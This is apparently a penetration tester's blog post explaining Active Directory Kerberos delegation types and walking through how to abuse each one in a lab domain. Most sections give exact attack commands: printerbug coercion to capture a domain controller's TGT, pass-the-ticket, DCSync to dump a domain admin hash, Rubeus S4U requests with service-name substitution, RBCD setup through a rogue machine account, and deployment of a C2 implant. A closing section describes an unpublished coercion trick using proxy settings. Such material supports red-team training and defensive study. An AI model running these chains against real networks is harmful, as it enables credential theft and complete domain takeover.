Delegation: the Good, the Bad, and the Ugly

For readers who aren't already familiar with basic Kerberos functionality, this blog post of mine is recommended reading. I also want to acknowledge that much of this blog is based off of other people's research. Read the linked blog posts for sections where I skimp on the details.

Delegation for dummies

The real life definition of delegation is "to allow someone to act on behalf of others". When I was a kid, my parents would often delegate chores to me such as mowing the lawn or doing the dishes. I would perform these tasks on my parents' behalf. Fundamentally, delegation in Active Directory is no different. Users allow specified services to perform actions on their behalf. The diagram below shows a common scenario for delegation found in corporate networks. A front-end server needs to authenticate to a back-end database as the user.

The simplest example of delegation
The simplest example of delegation

Most importantly, when an account authenticates, they send the delegation server their credentials in the form of a Kerberos TGT. A user with local administrator rights on a delegation server could extract these delegated TGT's and use them for nefarious purposes. Microsoft knows this and describes delegation as "a security-sensitive operation".

As of Server 2012 forest functional level, there are 3 types of delegation:

  1. Unconstrained Delegation
  2. Constrained Delegation (Classic)
  3. Resource-Based Constrained Delegation

The Bad: Unconstrained Delegation

Released with Server 2000, Unconstrained Delegation was Microsoft's first attempt at solving their delegation problem. Like everything Microsoft releases, Unconstrained Delegation was insecure by default, and Microsoft took no precautions to prevent its abuse.

Unconstrained Delegation can be compared to an Any-Any firewall rule, allowing any account to be delegated, and any service to be delegated to. There are no limitations placed on Unconstrained Delegation. This is shown visually below.

Fuck it, it's easier if we allow Unconstrained Delegation
Fuck it, it's easier if we allow Unconstrained Delegation

Finding Unconstrained Delegation

Unconstrained Delegation can be identified by querying LDAP. Although there are many LDAP enumeration tools, my favorite ways to get this data are Bloodhound, LdapDomainDump, and Powerview. I have set a computer named IIS to allow Unconstrained Delegation using Server Manager's Active Directory Users and Computers.

Setting and viewing Unconstrained Delegation on a server in ADUC
Setting and viewing Unconstrained Delegation on a server in ADUC

Note that only members of Domain Admins or Enterprise Admins groups have permission to set Unconstrained Delegation on an object.

We can use a custom query found in Hausec's custom Bloodhound queries to identify computers with Unconstrained Delegation.

Using Bloodhound to find Unconstrained Delegation
Using Bloodhound to find Unconstrained Delegation

In my lab 2 computers are configured to allow Unconstrained Delegation. One was the IIS server we just set up, and the other is my (only) domain controller. By default, domain controllers always allow Unconstrained Delegation.

LdapDomainDump can show us the same information. Simply grep domain_computers.grep for TRUSTED_FOR_DELEGATION.

Viewing the same Unconstrained Delegation information using LdapDomainDump
Viewing the same Unconstrained Delegation information using LdapDomainDump

Lastly, Powerview is another option to find computers allowing Unconstrained Delegation. Use the -Unconstrained flag with Get-DomainComputer Cmdlet to filter only computers allowing Unconstrained Delegation.

Using Powerview to list hosts with Unconstrained Delegation
Using Powerview to list hosts with Unconstrained Delegation

Exploiting Unconstrained Delegation

Imagine the following scenario: during a penetration test, we compromise a service account, IIS.adm.svc. This account is an Authenticated User on the domain, as well as a local admin to the IIS$ computer account. As we've set up, IIS is enabled for Unconstrained Delegation. We know we can extract Kerberos credentials for any user authenticating to IIS.

The last piece of the puzzle we need is Printerbug. Printerbug is an abuse of Microsoft print services allowing us to coerce NTLM or Kerberos authentication from any machine account over SMB. With Printerbug, we can "trick" computers into authenticating to us and then extract their TGTs.

Tools used:

  1. Badrat -- My own C2
    • Cobalt Strike can be used instead with execute-assembly. I just didn't feel like using it.
  2. SpoolSample -- C# Printerbug implementation
  3. Rubeus -- C# Kerberos ticket manipulation
  4. SharpKatz -- C# partial port of Mimikatz including DCSync functionality

First, we want to run Rubeus to monitor for incoming Kerberos authentication. Use the following command: Rubeus.exe monitor /runfor:30 /monitorinterval:5.

While Rubeus runs in the background, use SpoolSample.exe and target a domain controller to authenticate to the compromised Unconstrained Delegation host. Remember to use hostnames, not IP addresses. My command is the following, but yours will be different based on hostnames used: SpoolSample.exe DC.borgar.local IIS.borgar.local.

Using SpoolSample to force authentication from the DC to the IIS Unconstrained Delegation server
Using SpoolSample to force authentication from the DC to the IIS Unconstrained Delegation server

If everything went well, a TGT for the domain controller should be shown in the Rubeus output.

Rubeus output showing a new TGT from the domain controller (DC.borgar.local)
Rubeus output showing a new TGT from the domain controller (DC.borgar.local)

Rubeus allows us to Pass-the-Ticket and insert this collected TGT back into our login session. Use the command: Rubeus.exe ptt /ticket:<base64_ticket_data>.

Inserting the ticket collected above into our login session using Rubeus Pass-the-Ticket
Inserting the ticket collected above into our login session using Rubeus Pass-the-Ticket

Once we pass the DC$ TGT into our current session, we can use Sharpkatz to perform a DCSync for any user of our choice: SharpKatz.exe --Command dcsync --User kclark.

Using Sharpkatz to recover the NTLM hash of a Domain Admin, kclark
Using Sharpkatz to recover the NTLM hash of a Domain Admin, kclark

At this point, the domain is compromised, and additional actions can be left to the reader's judgement.

Exploitation: Caveats

There are 2 caveats I have run into regarding this attack path:

  1. Regardless of delegation settings, delegating credentials is not possible for members of the Protected Users group or account set as sensitive for delegation.
    • Fortunately for us, it seems Microsoft heavily discourages placing computer accounts in the Protected Users group. I can only imagine adding all domain controller computer accounts to this group would horribly break Active Directory.
  2. User authentication does not seem to work properly from session 0, even after requesting and passing a new TGT into the session.
    • I don't know why this is. If anyone has any ideas I would love to know.

Below we compare accessing the SYSVOL share, something any Domain User should be able to do, from the same host as the same user. The only difference is the session number.

Authentication successful from session 1 but access denied from session 0
Authentication successful from session 1 but access denied from session 0

The only solution I've found is to migrate to a process in another desktop session.

Exploitation: From Linux (mostly)

I much prefer not to load and run Mimikatz on a Windows machine, even if it is in memory. If we have access to a Linux host, we can perform both the Printerbug and DCSync authentications from that machine instead. Additionally, this allows us to bypass the session 0 problem.

We start off with the same Rubeus command as above from the Unconstrained Delegation host (Rubeus.exe monitor /runfor:30 /monitorinterval:10).

Next we will use the Impacket implementation of Printerbug to perform authentication from the DC to the Unconstrained Delegation server:

Running the same Printerbug exploit using printerbug.py
Running the same Printerbug exploit using printerbug.py

Like before, Rubeus collects the Domain Controller's TGT. We can copy the base64 ticket into a file on Linux and base64 decode it into a kirbi file.

The base64 ticket data copied into a file
The base64 ticket data copied into a file
Stripping out spaces, newlines, and converting the ticket to a ccache file
Stripping out spaces, newlines, and converting the ticket to a ccache file

Once we export the ccache ticket file, we can use Secretsdump against the DC to download domain credentials.

Using Secretsdump with the -k flag to specify using the Kerberos ticket
Using Secretsdump with the -k flag to use the Kerberos ticket

The last thing I want to point out to the reader is that this Unconstrained Delegation attack works across domains, as long as they are in the same forest. If you don't want to make a Golden Ticket for whatever reason, you can always use Unconstrained Delegation to go from domain compromise to forest compromise. Remember that all Domain Controllers have Unconstrained Delegation enabled by default. Have fun! :)

The Good Better: Constrained Delegation

Constrained Delegation is Microsoft's upgrade to Unconstrained Delegation. Somewhere along the line, someone at Microsoft realized how bad of an idea Unconstrained Delegation was, then released Constrained Delegation as a more secure alternative to Unconstrained Delegation.

Constrained Delegation limits the services that can be delegated to. This means that the above attack wouldn't work unless a domain controller is included in the list of targets Constrained Delegation is allowed to delegate to.

Diagram showing limitations placed on services allowed to delegate to for Constrained Delegation
Diagram showing limitations placed on services allowed to delegate to for Constrained Delegation

The Constrained Delegation setting can be found in ADUC right under the Unconstrained Delegation setting. Of note, setting Constrained Delegation on a host requires other host-service combinations (SPNs) to be set as targets for delegation.

Constrained Delegation (classic) in ADUC
Constrained Delegation (classic) in ADUC

As expected, if we try the same Unconstrained Delegation attack on a host with Constrained Delegation, we get an error and cannot authenticate with the delegated credentials.

Attempting and failing to DCSync the DC using Constrained Delegation credentials
Attempting and failing to DCSync the DC using Constrained Delegation credentials
Attacking Constrained Delegation

The first step to attacking Constrained Delegation is identifying what SPN's an owned account is allowed to delegate to. If we don't have a spare ADUC console lying around we can always use Powerview:

Get-DomainComputer IIS -Properties msds-allowedtodelegateto | select -Expand msds-allowedtodelegateto

Viewing SPN's allowed for delegation for the IIS$ account
Viewing SPN's allowed for delegation for the IIS$ account

This computer (IIS$) is allowed for Constrained Delegation to just one service: MSSQLSvc on mssql.borgar.local. Rubeus supports machine takeover of the Constrained Delegation target computers under the following circumstance:

  1. The NTLM hash of the machine configured with Constrained Delegation, (in this case, IIS$) is known.
  2. Constrained Delegation supports the "Use any authentication protocol" setting. (See ADUC screenshot above).

It's important to note that the Service Names (sname) in Kerberos tickets (e.g.: MSSQLSvc, CIFS, HOST, TERMSERV, etc.) are not protected by the ticket's digital signature. This means we can substitute the MSSQLSvc sname with another service that can more easily give us remote code execution. In the following demo I will do this substitution twice -- one time for the host service and one time for cifs.

  • HOST allows us to perform RPC functions, such as modify, stop, or start services on the host.
  • CIFS allows us to access SMB file shares, such as the C$ or ADMIN$ shares.

First, we verify our current user does not have any special privileges to the MSSQL host.

Using the dir command to verify we do not have access to MSSQL
Using the dir command to verify we do not have access to MSSQL

Next we need to dump the IIS$ account's NTLM hash out of SAM. There are many ways to do this, but I decided to use SharpSecDump.

Extracting the IIS$ NTLM hash from SAM
Extracting the IIS$ NTLM hash from SAM

After that, we can use the following Rubeus command to perform some S4U magic which requests a service ticket for MSSQLSvc/mssql.borgar.local, then substitutes the MSSQLSvc sname for cifs, letting us gain remote code execution on that host.

Rubeus.exe s4u /user:IIS$ /rc4:6379cfc5a88f2cf71ae7364f9d1f7a2a /impersonateuser:Administrator /msdsspn:MSSQLSvc/mssql.borgar.local /altservice:cifs /ptt

Running the above Rubeus command
Running the above Rubeus command
Using Rubeus to get an impersonated service ticket for CIFS/mssql.borgar.local
Using Rubeus to get an impersonated service ticket for CIFS/mssql.borgar.local

As stated above, we can rerun this command a second time with HOST as the altservice to additionally gain that access. At this point, we have the rights to compromise MSSQL. We can verify this by accessing the C$ share.

Confirming admin access on MSSQL by running a dir command on the C$ share
Confirming admin access on MSSQL by running a dir command on the C$ share

To complete the exploitation chain, I uploaded a Badrat EXE to the target and ran it with SharpNoPSExec.

Uploading Badrat.exe to the C$ share on MSSQL
Uploading Badrat.exe to the C$ share on MSSQL
Executing Badrat.exe using SharpNoPSExec
Executing Badrat.exe using SharpNoPSExec
Running some commands on MSSQL
Running some commands on MSSQL

Constrained Delegation: Hardmode

But what if we get really unlucky and the administrators actually configure Constrained Delegation with "Use Kerberos only"?

Constrained Delegation set to "Use Kerberos only"
Constrained Delegation set to "Use Kerberos only"

For starters, if we run the same Rubeus command as before we get a very non-specific error during the S4U process and the attack doesn't work.

Running Rubeus again after switching to "Use Kerberos only"
Running Rubeus again after switching to "Use Kerberos only"

Fortunately, there is still a way to compromise hosts allowed for Constrained Delegation, even if "Kerberos only" is set. Elad Shamir (Codename: El Shadmir), made a 200 IQ discovery about bypassing this "Kerberos only" restriction using Resource-Based Constrained Delegation (which we haven't talked about yet). The TL;DR of it is we can create a computer account, set it for RBCD to the Constrained Delegation host, then use it to bypass the "Kerberos only" protocol-transition restriction.

We first need to create a new computer account. You could do this in a number of ways, such as Powershell ActiveDirectory module's New-ADComputer, Standin, or Impacket's addcomputer.py, but I chose to use Kevin Robertson's Sharpmad project.

Creating a new computer with Sharpmad
Creating a new computer with Sharpmad

After we have our new machine account, cd_bridge_account$, we need to set this account as allowed for Resource-Based Constrained Delegation on IIS$, the Constrained Delegation account.

Using a modified Import-ADModule, we can use ActiveDirectory module Cmdlets like Get-ADComputer and Set-ADComputer without installing the module.

Set-ADComputer IIS -PrincipalsAllowedToDelegateToAccount cd_bridge_account$

Setting cd_bridge_account$ for RBCD on IIS$ using Set-ADComputer
Setting cd_bridge_account$ for RBCD on IIS$ using Set-ADComputer

And we can verify that our changes were made successfully using the Get-ADComputer Cmdlet. By default, every computer account has permission to set other accounts allowed for RBCD to themselves. Make sure you are running in the context of your constrained delegation account (IIS$) if this modification fails.

Get-ADComputer IIS -Properties PrincipalsAllowedToDelegateToAccount,TrustedToAuthForDelegation,msDS-AllowedToDelegateTo | select * | fl | out-string

Viewing Constrained and Resource-Based Constrained Delegation on IIS$
Viewing Constrained and Resource-Based Constrained Delegation on IIS$

Visually this relationship looks like the following:

The current setup described visually
The current setup described visually

In order to convert the Constrained Delegation access to MSSQL into remote code execution, we must perform the following steps:

  1. Calculate Kerberos keys for cd_bridge_account$ using the password: Unguessable_password123
  2. Use the AES256 key of cd_bridge_account$ with S4U to get an impersonated service ticket (TGS) for IIS.
  3. Use the resulting service ticket from step 2 with IIS$ credentials to request S4U from IIS$ to MSSQL
  4. Use the resulting ticket from step 3 to access MSSQL on whatever service we want, since we can substitute alternate service names at will.

Just to check no previous privileges were giving me unintended access, I used the dir command again to validate that I had no access to MSSQL.

Checking my access using the dir command
Checking my access using the dir command

Beginning the attack chain, we use the Rubeus hash command to calculate Kerberos keys for cd_bridge_account$.

Rubeus.exe hash /password:Unguessable_password123 /domain:borgar.local /user:cd_bridge_account$

Calculating Kerberos keys from the cd_bridge_account$ password
Calculating Kerberos keys from the cd_bridge_account$ password

Using this calculated AES256 key we request S4U from cd_bridge_account$ to IIS$. We use the following command: Rubeus.exe s4u /user:cd_bridge_account$ /msdsspn:cifs/IIS.borgar.local /impersonateuser:administrator /aes256:58638B16207FEDBDFF95066767E664136179EC4D697CA374E432BB2DB75BA88F

Using S4U with the calculated AES256 key
Using S4U with the calculated AES256 key
Impersonating Administrator using RBCD from cd_bridge_account$ to IIS$
Impersonating Administrator using RBCD from cd_bridge_account$ to IIS$

We then use the service ticket above with credentials from IIS$ to perform the second S4U request: Rubeus.exe s4u /user:IIS$ /rc4:6379cfc5a88f2cf71ae7364f9d1f7a2a /altservice:cifs /msdsspn:MSSQLSvc/mssql.borgar.local /ptt /tgs:<base64_ticket_data>

Running the command above with Rubeus
Running the command above with Rubeus
Getting the final service ticket needed to access MSSQL
Getting the final service ticket needed to access MSSQL

Finally, the resulting service ticket is placed into our session using the /ptt flag. Since we specified cifs as the alternate service to use, we can access any files on MSSQL.

Testing that our newly minted service ticket gives us access to the C$ share
Testing that our newly minted service ticket gives us access to the C$ share

Ultimately, "Kerberos only" or "Any authentication protocol", if you control an account set up with Constrained Delegation, you can take over any and all hosts set as allowed to be delegated to.

The Ugly: Resource-Based Constrained Delegation

Unfortunately we had to talk about Resource-based Constrained Delegation before I got to give it a proper introduction, but in short it works like classic Constrained Delegation but in the opposite direction. Objects can allow other principles to impersonate users to themselves. For example, IIS$ could allow Computer01$ RBCD to itself (IIS$), then Computer01$ could use RBCD to impersonate users on IIS$.

Resource-Based Constrained Delegation at a high level
Resource-Based Constrained Delegation at a high level

We actually already performed this attack in the above Constrained Delegation attack path with cd_bridge_account$ and Rubeus, but I will show the same walkthrough from Linux. Remember that cd_bridge_account$ controls IIS$ via RBCD.

Using getST.py to perform all of the S4U magic to compromise IIS$
Using getST.py to perform all of the S4U magic to compromise IIS$

Impacket's ntlmrelayx has the --delegate-access flag for LDAP relay which allows relayed authentication from a computer account to set a specified account as allowed to delegate from. An attacker could then use the steps in the image above to take over that machine account. Rather than go through it step by step, I'd invite you to read this blog post on the attack.

A curious case of Internet Explorer proxy settings

The TL;DR of the blog post linked above is relaying HTTP authentication from a computer account can be used to compromise that computer. If we could force HTTP authentication from a host à la Printerbug, we could compromise those hosts. This is assuming LDAP signing is not enabled.

One of my co-workers showed me a way to coerce authentication from a machine account that I don't believe is public yet. This requires a low privileged account and the ability to log into a host -- whether that be physical access or Remote Desktop. It seems that the Network Location Awareness service, which is responsible for verifying network and Internet connectivity on Windows, uses proxy settings that the user set. This means when Windows tests its network connection, it will authenticate to the host specified in Internet Explorer proxy settings. Video of the entire attack is given below:

In the video above I simply log out and log back in after setting the IE proxy to trigger authentication from MSSQL$. Unfortunately triggering authentication doesn't always seem to be that easy. It is inconsistent at best and non-existent at worst. I've spent some time looking at the NLA service itself to find how and when hosts connect to this msftconnecttest.com domain, but haven't been successful. The NLA service performs this check every time the service starts, and also inconsistently on login or logout events. If anyone has ideas on how to more consistently trigger this authentication I would love to hear about it!

This article was updated on July 11, 2022